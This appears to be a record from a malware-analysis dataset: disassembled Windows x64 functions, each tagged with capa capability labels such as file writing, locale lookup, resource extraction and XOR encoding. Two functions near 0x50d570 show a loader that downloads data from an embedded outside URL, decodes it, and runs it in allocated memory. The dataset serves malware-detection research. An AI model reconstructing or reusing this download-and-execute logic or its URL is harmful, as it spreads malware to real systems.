joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40f200
Capabilities:
Write file on windows

Disassembly:
push rbx
sub rsp, 0x40
cmp byte [0x006540a8], 0
je 0x40f29e
cmp word [0x006543b8], 0xd7b2
jne 0x40f233
cmp dword [0x006543c0], 0
jbe 0x40f233
lea rcx, [0x006543b0]
call qword [0x006543d8]
mov ecx, 0xfffffff5
call sub.kernel32.dll_GetStdHandle
mov rcx, rax
lea rdx, [0x0061dd14]
mov r8d, 0x25
lea r9, [rsp + 0x3c]
mov qword [rsp + 0x20], 0
call sub.kernel32.dll_WriteFile
mov ecx, 0xfffffff5
call sub.kernel32.dll_GetStdHandle
mov rbx, rax
lea rcx, [0x0040f2d4]
call fcn.00410aa0
mov rcx, rbx
mov rdx, rax
mov r8d, 2
lea r9, [rsp + 0x3c]
mov qword [rsp + 0x20], 0
call sub.kernel32.dll_WriteFile
jmp 0x40f2c0
cmp byte [0x0061c052], 0
jne 0x40f2c0
xor rcx, rcx
lea rdx, [0x0061dd14]
lea r8, str.Error
xor r9, r9
call sub.user32.dll_MessageBoxA
add rsp, 0x40
pop rbx
ret

Function at 0x40f5f0
Capabilities:
Create thread

Disassembly:
push r13
push rdi
push rsi
push rbx
sub rsp, 0x48
mov qword [rsp + 0x38], rcx
mov ebx, edx
mov rsi, r8
mov rdi, r9
cmp qword [0x0061c058], 0
je 0x40f621
mov rcx, rsi
mov rdx, rdi
call qword [0x0061c058]
mov r13, rax
jmp 0x40f637
mov ecx, 0x10
call fcn.00408850
mov r13, rax
mov qword [r13], rsi
mov qword [r13 + 8], rdi
mov byte [0x006540a9], 1
mov rcx, qword [rsp + 0x38]
mov edx, ebx
lea r8, [0x0040f580]
mov r9, r13
mov eax, dword [rsp + 0x90]
mov dword [rsp + 0x20], eax
mov rax, qword [rsp + 0x98]
mov qword [rsp + 0x28], rax
call sub.kernel32.dll_CreateThread
mov rbx, rax
test rbx, rbx
jne 0x40f67c
mov rcx, r13
call fcn.00408880
mov rax, rbx
add rsp, 0x48
pop rbx
pop rsi
pop rdi
pop r13
ret

Function at 0x413710
Capabilities:
Check os version

Disassembly:
sub rsp, 0x28
lea rcx, [0x00658e70]
call sub.kernel32.dll_InitializeCriticalSection
mov word [0x00658e98], 0x7f
call sub.kernel32.dll_GetVersion
and eax, 0xff
cmp eax, 6
setae al
mov byte [0x00658e68], al
cmp byte [0x00658e68], 0
je 0x4137af
lea rcx, [0x004137b4]
call sub.kernel32.dll_GetModuleHandleW
mov rcx, rax
lea rdx, [0x004137ce]
call sub.kernel32.dll_GetProcAddress
mov qword [0x00658e50], rax
lea rcx, [0x004137b4]
call sub.kernel32.dll_GetModuleHandleW
mov rcx, rax
lea rdx, [0x004137ec]
call sub.kernel32.dll_GetProcAddress
mov qword [0x00658e58], rax
lea rcx, [0x004137b4]
call sub.kernel32.dll_GetModuleHandleW
mov rcx, rax
lea rdx, [0x0041380a]
call sub.kernel32.dll_GetProcAddress
mov qword [0x00658e60], rax
add rsp, 0x28
ret
Function at 0x413a90
Capabilities:
Get geographical location

Disassembly:
push rbp
sub rsp, 0x1d0
mov rbp, rsp
mov qword [rbp + 0x50], rcx
mov qword [rbp + 0x40], rdx
mov word [rbp + 0x4e], r8w
mov qword [rbp + 0x68], 0
mov qword [rbp + 0x60], 0
mov qword [rbp + 0x58], 0
nop
mov rcx, qword [rbp + 0x40]
call fcn.0040f800
movzx rax, word [rbp + 0x4e]
cmp word [0x0061e4e0], ax
ja 0x413b78
movzx rax, word [rbp + 0x4e]
cmp ax, word [0x0061e8e0]
mov word [rbp + 0x4e], ax
ja 0x413b78
mov ecx, 0x40
xor r8, r8
cmp ecx, r8d
jb 0x413b77
mov eax, ecx
add eax, r8d
mov r9d, 2
xor edx, edx
div r9d
lea rdx, [0x0061e4e0]
mov r9d, eax
add r9, r9
movzx r10, word [rbp + 0x4e]
cmp word [rdx + r9*8], r10w
jbe 0x413b31
mov ecx, eax
sub ecx, 1
jmp 0x413b72
lea rdx, [0x0061e4e0]
mov r8d, eax
add r8, r8
movzx r9, word [rbp + 0x4e]
cmp word [rdx + r8*8], r9w
jae 0x413b53
mov r8d, eax
add r8d, 1
jmp 0x413b72
mov rcx, qword [rbp + 0x50]
mov rdx, qword [rbp + 0x40]
lea r8, [0x0061e4e8]
mov eax, eax
add rax, rax
mov r8, qword [r8 + rax*8]
call fcn.00413920
jmp 0x413b77
cmp ecx, r8d
jae 0x413b00
nop
mov rax, qword [rbp + 0x40]
cmp qword [rax], 0
jne 0x413c5a
movzx rcx, word [rbp + 0x4e]
movzx ecx, cx
mov edx, 2
call sub.kernel32.dll_IsValidLocale
test eax, eax
je 0x413c5a
movzx rcx, word [rbp + 0x4e]
movzx ecx, cx
mov edx, 0x59
lea r8, [rbp + 0x126]
mov r9d, 0x55
call sub.kernel32.dll_GetLocaleInfoW
movzx rcx, word [rbp + 0x4e]
movzx ecx, cx
mov edx, 0x5a
lea r8, [rbp + 0x7c]
mov r9d, 0x55
call sub.kernel32.dll_GetLocaleInfoW
lea rcx, [rbp + 0x68]
lea rdx, [rbp + 0x126]
mov r8d, 0x55
call fcn.004112f0
lea rcx, [rbp + 0x60]
lea rdx, [rbp + 0x7c]
mov r8d, 0x55
call fcn.004112f0
lea rcx, [rbp + 0x58]
lea rdx, [rbp + 0x126]
mov r8d, 0x55
call fcn.004112f0
mov rcx, qword [rbp + 0x40]
mov edx, 5
mov r8, qword [rbp + 0x68]
lea r9, [0x00413cb4]
mov rax, qword [rbp + 0x60]
mov qword [rsp + 0x20], rax
lea rax, [0x00413cc4]
mov qword [rsp + 0x28], rax
mov rax, qword [rbp + 0x58]
mov qword [rsp + 0x30], rax
call fcn.00411770
nop
lea rcx, [rbp + 0x58]
mov edx, 3
call fcn.0040f8e0
mov rax, qword [rbp + 0x40]
lea rsp, [rbp + 0x1d0]
pop rbp
ret
Function at 0x413ed0
Capabilities:
Identify system language via api

Disassembly:
push rbp
sub rsp, 0x50
mov rbp, rsp
mov qword [rbp + 0x28], rcx
mov word [rbp + 0x36], dx
mov qword [rbp + 0x38], 0
mov qword [rbp + 0x40], 0
mov qword [rbp + 0x48], 0
nop
lea rcx, [0x00658e70]
call sub.kernel32.dll_EnterCriticalSection
movzx rax, word [rbp + 0x36]
cmp word [0x00658e98], ax
jne 0x413f3b
mov rcx, qword [rbp + 0x28]
lea rdx, [0x00658e9a]
mov r8d, 0x55
call fcn.004112f0
lea rcx, [0x00658e70]
call sub.kernel32.dll_LeaveCriticalSection
jmp 0x414046
lea rcx, [0x00658e70]
call sub.kernel32.dll_LeaveCriticalSection
mov rcx, qword [rbp + 0x28]
call fcn.0040f800
movzx rcx, word [rbp + 0x36]
movzx ecx, cx
mov edx, 2
call sub.kernel32.dll_IsValidLocale
test eax, eax
je 0x414000
cmp byte [0x00658e68], 0
je 0x413f94
mov rcx, rbp
lea rdx, [rbp + 0x48]
movzx r8, word [rbp + 0x36]
call fcn.00413d60
mov rcx, qword [rbp + 0x28]
mov rdx, qword [rbp + 0x48]
call fcn.0040fe30
jmp 0x414000
mov rcx, rbp
lea rdx, [rbp + 0x40]
movzx r8, word [rbp + 0x36]
call fcn.00413a90
mov rcx, qword [rbp + 0x28]
mov rdx, qword [rbp + 0x40]
call fcn.0040fe30
call sub.kernel32.dll_GetSystemDefaultUILanguage
movzx rcx, word [rbp + 0x36]
cmp cx, ax
mov word [rbp + 0x36], cx
je 0x414000
mov rax, qword [rbp + 0x28]
cmp qword [rax], 0
je 0x413fdf
mov rcx, qword [rbp + 0x28]
lea rdx, [0x00414094]
call fcn.00411560
call sub.kernel32.dll_GetSystemDefaultUILanguage
mov rcx, rbp
lea rdx, [rbp + 0x38]
mov r8d, eax
call fcn.00413a90
mov rcx, qword [rbp + 0x28]
mov rdx, qword [rbp + 0x38]
call fcn.00411560
lea rcx, [0x00658e70]
call sub.kernel32.dll_EnterCriticalSection
movzx rax, word [rbp + 0x36]
mov word [0x00658e98], ax
mov rax, qword [rbp + 0x28]
mov rcx, qword [rax]
call fcn.004111f0
lea rcx, [0x00658e9a]
mov edx, 0xaa
mov r8, rax
call fcn.00413840
lea rcx, [0x00658e70]
call sub.kernel32.dll_LeaveCriticalSection
nop
lea rcx, [rbp + 0x38]
mov edx, 3
call fcn.0040f8e0
mov rax, qword [rbp + 0x28]
lea rsp, [rbp + 0x50]
pop rbp
ret
Function at 0x414a70
Capabilities:
Get geographical location
Identify system language via api

Disassembly:
push rbp
sub rsp, 0x50
mov rbp, rsp
mov qword [rbp + 0x28], rcx
mov qword [rbp + 0x20], rdx
mov qword [rbp + 0x30], 0
mov qword [rbp + 0x38], 0
mov qword [rbp + 0x70], r8
mov rcx, qword [rbp + 0x70]
call fcn.0040f990
nop
call sub.kernel32.dll_GetUserDefaultUILanguage
movzx ecx, ax
mov edx, 3
lea r8, [rbp + 0x48]
mov r9d, 4
call sub.kernel32.dll_GetLocaleInfoW
lea rcx, [rbp + 0x38]
lea rdx, [rbp + 0x48]
mov r8d, 4
call fcn.004112f0
mov rcx, qword [rbp + 0x20]
mov rdx, qword [rbp + 0x70]
mov r8, qword [rbp + 0x38]
call fcn.00411650
mov rcx, qword [rbp + 0x28]
mov rax, qword [rbp + 0x20]
mov rdx, qword [rax]
call fcn.00414890
test al, al
jne 0x414b3e
mov word [rbp + 0x4c], 0
lea rcx, [rbp + 0x30]
lea rdx, [rbp + 0x48]
mov r8d, 4
call fcn.004112f0
mov rcx, qword [rbp + 0x20]
mov rdx, qword [rbp + 0x70]
mov r8, qword [rbp + 0x30]
call fcn.00411650
mov rcx, qword [rbp + 0x28]
mov rax, qword [rbp + 0x20]
mov rdx, qword [rax]
call fcn.00414890
test al, al
jne 0x414b3e
mov rcx, qword [rbp + 0x20]
call fcn.0040f800
nop
lea rcx, [rbp + 0x30]
mov edx, 2
call fcn.0040f8e0
lea rcx, [rbp + 0x70]
call fcn.0040f800
mov rax, qword [rbp + 0x20]
lea rsp, [rbp + 0x50]
pop rbp
ret
Function at 0x414bb0
Capabilities:
Identify system language via api

Disassembly:
push rbp
sub rsp, 0x70
mov rbp, rsp
mov qword [rbp + 0x28], rcx
mov qword [rbp + 0x30], 0
mov qword [rbp + 0x40], 0
mov qword [rbp + 0x38], 0
mov qword [rbp + 0x50], 0
mov qword [rbp + 0x48], 0
mov qword [rbp + 0x58], 0
mov qword [rbp + 0x68], 0
mov qword [rbp + 0x60], 0
mov qword [rbp + 0x88], rdx
mov qword [rbp + 0x90], r8
mov rcx, qword [rbp + 0x88]
call fcn.0040f990
mov rcx, qword [rbp + 0x90]
call fcn.0040f990
nop
mov rcx, qword [rbp + 0x28]
call fcn.0040f800
cmp qword [rbp + 0x90], 0
je 0x414d76
lea rcx, [rbp + 0x60]
mov rdx, qword [rbp + 0x90]
call fcn.0040feb0
xor rax, rax
cmp qword [rbp + 0x90], 0
je 0x414c61
mov rax, qword [rbp + 0x90]
mov eax, dword [rax - 4]
cmp eax, 1
jl 0x414c9b
mov rcx, qword [rbp + 0x90]
movsxd rdx, eax
cmp word [rcx + rdx*2 - 2], 0x2e
jne 0x414c94
lea rcx, [rbp + 0x60]
mov rdx, qword [rbp + 0x90]
mov r8d, 1
mov r9d, eax
call fcn.00411860
jmp 0x414c9b
sub eax, 1
test eax, eax
jne 0x414c66
nop
lea rcx, [rbp + 0x68]
mov rdx, qword [rbp + 0x88]
call fcn.00414780
cmp qword [rbp + 0x68], 0
je 0x414cd9
mov rcx, rbp
lea rdx, [rbp + 0x58]
mov r8, qword [rbp + 0x60]
mov r9, qword [rbp + 0x68]
call fcn.00414930
mov rcx, qword [rbp + 0x28]
mov rdx, qword [rbp + 0x58]
call fcn.0040fe30
jmp 0x414d75
call sub.kernel32.dll_GetUserDefaultUILanguage
lea rcx, [rbp + 0x48]
mov edx, eax
call fcn.00413ed0
mov rcx, rbp
lea rdx, [rbp + 0x50]
mov r8, qword [rbp + 0x60]
mov r9, qword [rbp + 0x48]
call fcn.00414930
mov rcx, qword [rbp + 0x28]
mov rdx, qword [rbp + 0x50]
call fcn.0040fe30
mov rax, qword [rbp + 0x28]
cmp qword [rax], 0
jne 0x414d4e
cmp byte [0x00658e68], 0
jne 0x414d4e
call sub.kernel32.dll_GetSystemDefaultUILanguage
lea rcx, [rbp + 0x38]
mov edx, eax
call fcn.00413ed0
mov rcx, rbp
lea rdx, [rbp + 0x40]
mov r8, qword [rbp + 0x60]
mov r9, qword [rbp + 0x38]
call fcn.00414930
mov rcx, qword [rbp + 0x28]
mov rdx, qword [rbp + 0x40]
call fcn.0040fe30
mov rax, qword [rbp + 0x28]
cmp qword [rax], 0
jne 0x414d75
mov rcx, rbp
lea rdx, [rbp + 0x30]
mov r8, qword [rbp + 0x60]
call fcn.00414a70
mov rcx, qword [rbp + 0x28]
mov rdx, qword [rbp + 0x30]
call fcn.0040fe30
nop
lea rcx, [rbp + 0x30]
mov edx, 8
call fcn.0040f8e0
lea rcx, [rbp + 0x88]
mov edx, 2
call fcn.0040f8e0
mov rax, qword [rbp + 0x28]
lea rsp, [rbp + 0x70]
pop rbp
ret

Function at 0x415bd0
Capabilities:
Get system information on windows

Disassembly:
sub rsp, 0x58
lea rcx, [rsp + 0x20]
call sub.kernel32.dll_GetSystemInfo
mov eax, dword [rsp + 0x40]
add rsp, 0x58
ret

Function at 0x415bf0
Capabilities:
Check os version

Disassembly:
sub rsp, 0x28
call sub.kernel32.dll_GetVersion
mov ecx, eax
and ecx, 0xff
and eax, 0xff00
shr eax, 8
cmp ecx, 5
jne 0x415c14
cmp eax, 1
jae 0x415c19
cmp ecx, 5
jbe 0x415c25
mov dword [0x006549b0], 0x7f
jmp 0x415c2f
mov dword [0x006549b0], 0x409
add rsp, 0x28
ret
Function at 0x4173d0
Capabilities:
Set thread local storage value

Disassembly:
push rbx
sub rsp, 0x20
call fcn.004173c0
mov ebx, eax
test ebx, ebx
je 0x41741b
cmp dword [0x0061f314], 0xffffffff
jne 0x4173f4
mov ecx, 0xe2
call fcn.0040f4b0
mov ecx, ebx
call fcn.004173a0
test rax, rax
jne 0x41740d
mov ecx, 0xe2
call fcn.0040f4b0
jmp 0x41741b
mov ecx, dword [0x0061f314]
mov rdx, rax
call sub.kernel32.dll_TlsSetValue
add rsp, 0x20
pop rbx
ret

Function at 0x417430
Capabilities:
Get thread local storage value

Disassembly:
sub rsp, 0x28
cmp byte [0x00658f44], 0
je 0x41746b
mov ecx, dword [0x0061f314]
call sub.kernel32.dll_TlsGetValue
test rax, rax
jne 0x41747f
call fcn.004173d0
mov ecx, dword [0x0061f314]
call sub.kernel32.dll_TlsGetValue
test rax, rax
jne 0x41747f
mov rax, qword [0x00658f78]
jmp 0x41747f
mov rax, qword gs:[0x58]
movsxd rcx, dword [0x0061f314]
mov rax, qword [rax + rcx*8]
add rsp, 0x28
ret

Function at 0x439a50
Capabilities:
Get geographical location

Disassembly:
push rbp
push rbx
sub rsp, 0x38
mov rbp, rsp
mov ebx, r8d
lea r8, [rbp + 0x2c]
mov r9d, 2
call sub.kernel32.dll_GetLocaleInfoW_1
test eax, eax
jle 0x439a77
movzx rax, word [rbp + 0x2c]
jmp 0x439a79
mov eax, ebx
lea rsp, [rbp + 0x38]
pop rbx
pop rbp
ret

Function at 0x43b250
Capabilities:
Write file on windows

Disassembly:
push rbp
push rsi
push rbx
sub rsp, 0x8e0
mov rbp, rsp
mov qword [rbp + 0x40], rcx
mov qword [rbp + 0x48], rdx
mov qword [rbp + 0x58], 0
nop
mov rcx, qword [rbp + 0x40]
mov rdx, qword [rbp + 0x48]
lea r8, [rbp + 0x60]
mov r9d, 0x400
call fcn.0043aff0
mov ebx, eax
mov rax, qword [0x006531f8]
cmp byte [rax], 0
je 0x43b388
mov rcx, qword [0x00652a28]
call fcn.0040a540
call fcn.00408c50
mov ecx, 1
xor rdx, rdx
lea r8, [rbp + 0x60]
mov r9d, ebx
mov qword [rsp + 0x20], 0
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x38], 0
call sub.kernel32.dll_WideCharToMultiByte_1
mov esi, eax
lea rcx, [rbp + 0x58]
mov rdx, qword [0x0043b210]
mov r8d, 1
movsxd r9, esi
call fcn.00413180
mov ecx, 1
xor rdx, rdx
lea r8, [rbp + 0x60]
mov r9d, ebx
mov rax, qword [rbp + 0x58]
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x28], esi
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x38], 0
call sub.kernel32.dll_WideCharToMultiByte_1
mov ecx, 0xfffffff4
call sub.kernel32.dll_GetStdHandle_1
mov rcx, rax
mov rdx, qword [rbp + 0x58]
mov r8d, esi
lea r9, [rbp + 0x54]
mov qword [rsp + 0x20], 0
call sub.kernel32.dll_WriteFile_1
mov ecx, 0xfffffff4
call sub.kernel32.dll_GetStdHandle_1
mov rcx, rax
lea rdx, [0x0043b428]
mov r8d, 2
lea r9, [rbp + 0x54]
mov qword [rsp + 0x20], 0
call sub.kernel32.dll_WriteFile_1
jmp 0x43b3ce
mov rcx, qword [0x00658f48]
call fcn.004134e0
mov rcx, rax
mov rax, qword [0x00652918]
mov edx, dword [rax + 8]
lea r8, [rbp + 0x860]
mov r9d, 0x40
call sub.user32.dll_LoadStringW_1
xor rcx, rcx
lea rdx, [rbp + 0x60]
lea r8, [rbp + 0x860]
mov r9d, 0x2010
call sub.user32.dll_MessageBoxW
nop
lea rcx, [rbp + 0x58]
mov rdx, qword [0x0043b210]
call fcn.00413360
lea rsp, [rbp + 0x8e0]
pop rbx
pop rsi
pop rbp
ret
Function at 0x43d130
Capabilities:
Check os version

Disassembly:
sub rsp, 0x148
mov dword [rsp + 0x2c], 0x114
lea rcx, [rsp + 0x2c]
call sub.kernel32.dll_GetVersionExW
test eax, eax
je 0x43d1f5
cmp dword [rsp + 0x30], 6
ja 0x43d166
cmp dword [rsp + 0x30], 6
jne 0x43d19a
cmp dword [rsp + 0x34], 1
jbe 0x43d19a
mov dword [rsp + 0x20], 0xffffffff
lea rcx, [rsp + 0x28]
lea rdx, [rsp + 0x24]
lea r8, [rsp + 0x20]
call fcn.0043cfc0
mov eax, dword [rsp + 0x28]
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x24]
mov dword [rsp + 0x34], eax
mov dword [rsp + 0x38], 0
mov eax, dword [rsp + 0x3c]
mov dword [0x00620f60], eax
mov eax, dword [rsp + 0x30]
mov dword [0x00620f64], eax
mov eax, dword [rsp + 0x34]
mov dword [0x00620f68], eax
cmp dword [0x00620f60], 1
jne 0x43d1d3
mov eax, dword [rsp + 0x38]
and eax, 0xffff
mov dword [0x00620f6c], eax
jmp 0x43d1dd
mov eax, dword [rsp + 0x38]
mov dword [0x00620f6c], eax
lea rcx, [0x00620f70]
lea rdx, [rsp + 0x40]
mov r8d, 0x80
call fcn.004112f0
add rsp, 0x148
ret

Function at 0x43e320
Capabilities:
Encode data using xor

Disassembly:
push rbp
push r13
push rdi
push rsi
push rbx
sub rsp, 0x240
mov rbp, rsp
mov rbx, rcx
mov rcx, rbx
call fcn.00410020
mov r13d, eax
mov ecx, 0xfde9
xor rdx, rdx
mov r8, rbx
mov r9d, r13d
mov qword [rsp + 0x20], 0
mov dword [rsp + 0x28], 0
call fcn.00415bb0
mov esi, eax
cmp esi, 0x104
jbe 0x43e37d
mov ecx, esi
add ecx, ecx
mov ecx, ecx
call fcn.00408850
mov rdi, rax
jmp 0x43e381
lea rdi, [rbp + 0x38]
mov ecx, 0xfde9
xor rdx, rdx
mov r8, rbx
mov r9d, r13d
mov qword [rsp + 0x20], rdi
mov dword [rsp + 0x28], esi
call fcn.00415bb0
mov rcx, rdi
call sub.user32.dll_CharUpperW
xor rbx, rbx
xor rax, rax
mov ecx, esi
sub ecx, 1
cmp eax, ecx
jg 0x43e3d4
add ecx, 1
mov edx, ebx
shl edx, 5
shr ebx, 0x1b
or edx, ebx
mov ebx, edx
movsxd rdx, eax
movzx edx, word [rdi + rdx*2]
xor ebx, edx
add eax, 1
cmp eax, ecx
jne 0x43e3b8
nop
lea rax, [rbp + 0x38]
cmp rdi, rax
je 0x43e3e6
mov rcx, rdi
call fcn.00408880
mov eax, ebx
lea rsp, [rbp + 0x240]
pop rbx
pop rsi
pop rdi
pop r13
pop rbp
ret

Function at 0x43e650
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push rbp
sub rsp, 0x50
mov rbp, rsp
mov qword [rbp + 0x28], rbp
mov qword [rbp + 0x60], rcx
mov qword [rbp + 0x40], 0
mov rcx, qword [rbp + 0x60]
lea rdx, [0x0043e6f4]
mov r8d, 0xa
call sub.kernel32.dll_FindResourceW
mov qword [rbp + 0x38], rax
cmp qword [rbp + 0x38], 0
je 0x43e6ba
mov rcx, qword [rbp + 0x60]
mov rdx, qword [rbp + 0x38]
call sub.kernel32.dll_LoadResource
mov qword [rbp + 0x48], rax
cmp qword [rbp + 0x48], 0
je 0x43e6ba
nop
mov rcx, qword [rbp + 0x48]
call sub.kernel32.dll_LockResource
mov qword [rbp + 0x40], rax
nop
mov rcx, qword [rbp + 0x48]
call sub.kernel32.dll_FreeResource
mov rax, qword [rbp + 0x40]
lea rsp, [rbp + 0x50]
pop rbp
ret
Function at 0x43e9a0
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push rbp
add rsp, 0xffffffffffffff80
mov rbp, rsp
mov qword [rbp + 0x30], 0
mov qword [rbp + 0x58], rbp
mov qword [rbp + 0x90], rcx
mov qword [rbp + 0x98], rdx
nop
mov rcx, qword [rbp + 0x90]
call fcn.0040f800
mov byte [rbp + 0x77], 1
mov rcx, qword [rbp + 0x98]
mov dl, 1
call fcn.00414e00
mov eax, eax
mov qword [rbp + 0x68], rax
cmp qword [rbp + 0x68], 0
jne 0x43ea84
mov rcx, qword [rbp + 0x98]
call sub.kernel32.dll_GetModuleHandleW_2
mov qword [rbp + 0x68], rax
cmp qword [rbp + 0x68], 0
jne 0x43ea25
mov rcx, qword [rbp + 0x98]
xor rdx, rdx
mov r8d, 2
call sub.kernel32.dll_LoadLibraryExW_1
mov qword [rbp + 0x68], rax
jmp 0x43ea29
mov byte [rbp + 0x77], 0
cmp qword [rbp + 0x68], 0
jne 0x43ea84
mov rax, qword [rbp + 0x98]
mov qword [rbp + 0x38], rax
mov byte [rbp + 0x40], 0xa
call sub.kernel32.dll_GetLastError_2
lea rcx, [rbp + 0x30]
mov edx, eax
call fcn.00439900
mov rax, qword [rbp + 0x30]
mov qword [rbp + 0x48], rax
mov byte [rbp + 0x50], 0x11
mov rcx, qword [0x0042a7e0]
mov dl, 1
mov r8, qword [0x00652a60]
lea r9, [rbp + 0x38]
mov dword [rsp + 0x20], 1
call fcn.0043b8a0
mov rcx, rax
call fcn.0040ea20
nop
mov rcx, qword [rbp + 0x68]
lea rdx, [0x0043eba4]
mov r8d, 0xa
call sub.kernel32.dll_FindResourceW
mov qword [rbp + 0x60], rax
cmp qword [rbp + 0x60], 0
je 0x43eae2
mov rcx, qword [rbp + 0x68]
mov rdx, qword [rbp + 0x60]
call sub.kernel32.dll_LoadResource
mov qword [rbp + 0x78], rax
cmp qword [rbp + 0x78], 0
je 0x43eae2
nop
mov rcx, qword [rbp + 0x78]
call sub.kernel32.dll_LockResource
mov rcx, qword [rbp + 0x90]
mov rdx, rax
call fcn.00411290
nop
mov rcx, qword [rbp + 0x78]
call sub.kernel32.dll_FreeResource
nop
cmp byte [rbp + 0x77], 0
je 0x43eaf2
mov rcx, qword [rbp + 0x68]
call sub.kernel32.dll_FreeLibrary_2
nop
lea rcx, [rbp + 0x30]
call fcn.0040f800
mov rax, qword [rbp + 0x90]
lea rsp, [rbp + 0x80]
pop rbp
ret
Function at 0x4ccf50
Capabilities:
Encrypt data using rc4 prga

Disassembly:
mov al, 0xb5
mov r8, rcx
xor rdx, rdx
mov ecx, edx
and ecx, 0x3f
mov r9, r8
shr r9, cl
and r9b, 0xff
xor al, r9b
add edx, 1
cmp edx, 8
jne 0x4ccf58
nop
ret

Function at 0x50d570
Capabilities:
Terminate process

Disassembly:
add bh, bh
xlatb
mov edx, dword [0x00648384]
mov ecx, 0x40
mov rsi, rax
mov rbp, qword [sym.imp.kernel32.dll_GlobalAlloc]
call rbp
xor ecx, ecx
mov r8d, 0x104
mov rbx, rax
mov rdx, rax
call qword [sym.imp.kernel32.dll_GetModuleFileNameW]
mov r12, qword [0x00648354]
cmp dword [r12], 0
je 0x50d5f0
mov rcx, rbx
call fcn.0050d517
cdqe
add rax, rax
add rbx, rax
mov rcx, rbx
call qword [sym.imp.kernel32.dll_lstrlenW]
cmp byte [r12], al
je 0x50d5d6
cmp byte [r12 + 1], al
jne 0x50d785
mov rcx, rbx
call fcn.0050d53e
cmp dword [r12 + 4], eax
je 0x50d5f0
cmp dword [r12 + 8], eax
jne 0x50d785
mov edx, dword [0x00648384]
mov ecx, 0x40
call rbp
mov rcx, qword [str.wininet.dll]
mov rbp, rax
call rdi
mov rdi, qword [sym.imp.kernel32.dll_GetProcAddress]
mov rbx, rax
mov rdx, qword [str.InternetOpenA]
mov rcx, rax
call rdi
mov rcx, rbx
mov qword [rsp + 0x38], rax
mov rdx, qword [str.InternetOpenUrlA]
call rdi
mov rcx, rbx
mov qword [rsp + 0x40], rax
mov rdx, qword [str.InternetReadFile]
call rdi
xor r9d, r9d
xor r8d, r8d
mov dword [rsp + 0x34], 0
mov qword [rsp + 0x48], rax
mov dword [rsp + 0x48], eax

Function at 0x50d650
Capabilities:
Terminate process

Disassembly:
mov dword [rsp + 0x48], eax
mov edx, 1
mov rax, qword [rsp + 0x38]
mov dword [rsp + 0x20], 0
mov rcx, qword [str.Clienthttp1]
call rax
test rax, rax
je 0x50d785
mov r10, qword [rsp + 0x40]
xor r9d, r9d
xor r8d, r8d
mov qword [rsp + 0x28], 0
mov ecx, dword [0x006483ac]
mov rdx, qword [str.https:__scolaires.premiersplans.org_csv_profs_DoyenC_c3_a9line_993.csv]
mov dword [rsp + 0x20], ecx
mov rcx, rax
call r10
test rax, rax
mov r12, rax
je 0x50d785
lea r13, [rsp + 0x34]
mov rbx, rbp
mov rax, qword [rsp + 0x48]
mov r9, r13
mov rdx, rbx
mov rcx, r12
mov r8d, dword [0x00648384]
call rax
test eax, eax
je 0x50d6df
mov eax, dword [rsp + 0x34]
test eax, eax
je 0x50d6df
add rbx, rax
jmp 0x50d6b7
cmp rbx, rbp
je 0x50d785
mov ecx, dword [rbp]
xor eax, eax
mov rdx, qword [str.41ARS__]
mov r11d, dword [rdx + rax]
add r11d, ecx
mov dword [rbx + rax], r11d
add rax, 4
cmp rax, 0x14
jne 0x50d6ed
mov rdx, rbx
mov rcx, rsi
call rdi
test rax, rax
je 0x50d785
mov r9d, dword [0x00648350]
xor ecx, ecx
mov r8d, 0x1000
mov edx, dword [0x00648384]
call rax
mov rcx, qword [0x0064838c]
mov rdx, qword [0x006483a4]
mov edx, edx
add rcx, rdx
mov edx, 8
mov r9d, dword [rcx + 4]
mov r8d, dword [rcx + rdx]
add r8d, r9d
mov dword [rax + rdx], r8d
add rdx, 4
cmp rdx, 0x5000
jne 0x50d749
mov edx, dword [0x00648370]
mov dword [rax + 8], edx
mov edx, dword [rax + 0xc]
mov r8d, dword [0x00648388]
mov ecx, dword [0x00648388]
add rdx, r8
add rcx, rax
add rax, rdx
call rax
xor ecx, ecx
call qword [sym.imp.kernel32.dll_ExitProcess]
Function at 0x50eca0
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x28
mov rbp, rsp
mov rbx, rcx
mov rsi, rdx
mov qword [rbp + 0x60], r8
mov rcx, rsi
mov rdx, qword [rbp + 0x60]
mov r8, r9
call sub.kernel32.dll_FindResourceW
mov qword [rbx + 0x20], rax
cmp qword [rbx + 0x20], 0
jne 0x50ecd7
mov rcx, rbp
call fcn.0050eb90
mov rcx, rsi
mov rdx, qword [rbx + 0x20]
call sub.kernel32.dll_LoadResource
mov qword [rbx + 0x28], rax
cmp qword [rbx + 0x28], 0
jne 0x50ecf6
mov rcx, rbp
call fcn.0050eb90
mov rcx, qword [rbx + 0x28]
call sub.kernel32.dll_LockResource
mov rdi, rax
mov rcx, rsi
mov rdx, qword [rbx + 0x20]
call sub.kernel32.dll_SizeofResource
mov rcx, rbx
mov rdx, rdi
mov r8d, eax
call fcn.0050e420
lea rsp, [rbp + 0x28]
pop rbx
pop rsi
pop rdi
pop rbp
ret

Function at 0x524e40
Capabilities:
Resume thread

Disassembly:
push rbp
sub rsp, 0x40
mov rbp, rsp
mov qword [rbp + 0x20], rcx
mov byte [rbp + 0x2f], dl
mov qword [rbp + 0x30], 0
mov qword [rbp + 0x38], 0
nop
mov rax, qword [rbp + 0x20]
cmp byte [rax + 0x19], 0
jne 0x524e73
movzx rax, byte [rbp + 0x2f]
test al, al
je 0x524ed1
mov rax, qword [rbp + 0x20]
cmp byte [rax + 0x1d], 0
jne 0x524ed1
mov rax, qword [rbp + 0x20]
cmp byte [rax + 0x68], 0
jne 0x524ed1
mov rax, qword [rbp + 0x20]
mov byte [rax + 0x1b], 0
mov byte [rax + 0x19], 0
mov rax, qword [rbp + 0x20]
mov rcx, qword [rax + 0x10]
call sub.kernel32.dll_ResumeThread
cmp eax, 1
je 0x524efb
lea rcx, [rbp + 0x38]
mov rdx, qword [0x006530c8]
call fcn.00415ae0
mov rcx, qword [0x004e2bb0]
mov dl, 1
mov r8, qword [rbp + 0x38]
call fcn.0043b450
mov rcx, rax
call fcn.0040ea20
jmp 0x524efb
lea rcx, [rbp + 0x30]
mov rdx, qword [0x006530c8]
call fcn.00415ae0
mov rcx, qword [0x004e2bb0]
mov dl, 1
